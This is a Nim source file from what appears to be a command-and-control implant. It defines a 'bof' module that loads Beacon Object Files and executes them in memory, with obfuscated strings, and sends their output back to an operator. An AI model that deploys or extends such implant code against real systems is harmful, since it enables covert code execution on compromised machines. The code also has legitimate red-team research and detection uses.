import ../common/[types, utils] # Define function prototype proc executeBof(ctx: AgentCtx, task: Task): TaskResult # Module definition let module* = Module( name: protect("bof"), description: protect("Load and execute BOF/COFF files in memory."), moduleType: MODULE_BOF, commands: @[ Command( name: protect("bof"), commandType: CMD_BOF, description: protect("Execute an object file in memory and retrieve the output."), example: protect("bof /path/to/dir.x64.o C:\\Users"), arguments: @[ Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true), Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false) ], execute: executeBof ) ] ) # Implement execution functions when not defined(agent): proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): import strformat import ../agent/core/coff import ../agent/utils/io import ../agent/protocol/result import ../common/serialize proc executeBof(ctx: AgentCtx, task: Task): TaskResult = try: var objectFile: seq[byte] arguments: seq[byte] # Parse arguments case int(task.argCount): of 1: # Only the object file has been passed as an argument objectFile = task.args[0].data arguments = @[] else: # Parameters were passed to the BOF execution objectFile = task.args[0].data # Combine the passed arguments into a format that is understood by the Beacon API arguments = generateCoffArguments(task.args[1..^1]) # Unpacking object file, since it contains the file name too. var unpacker = Unpacker.init(Bytes.toString(objectFile)) let fileName = unpacker.getDataWithLengthPrefix() objectFileContents = unpacker.getDataWithLengthPrefix() print fmt" [>] Executing object file {fileName}." let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments) if output != "": return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) else: return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))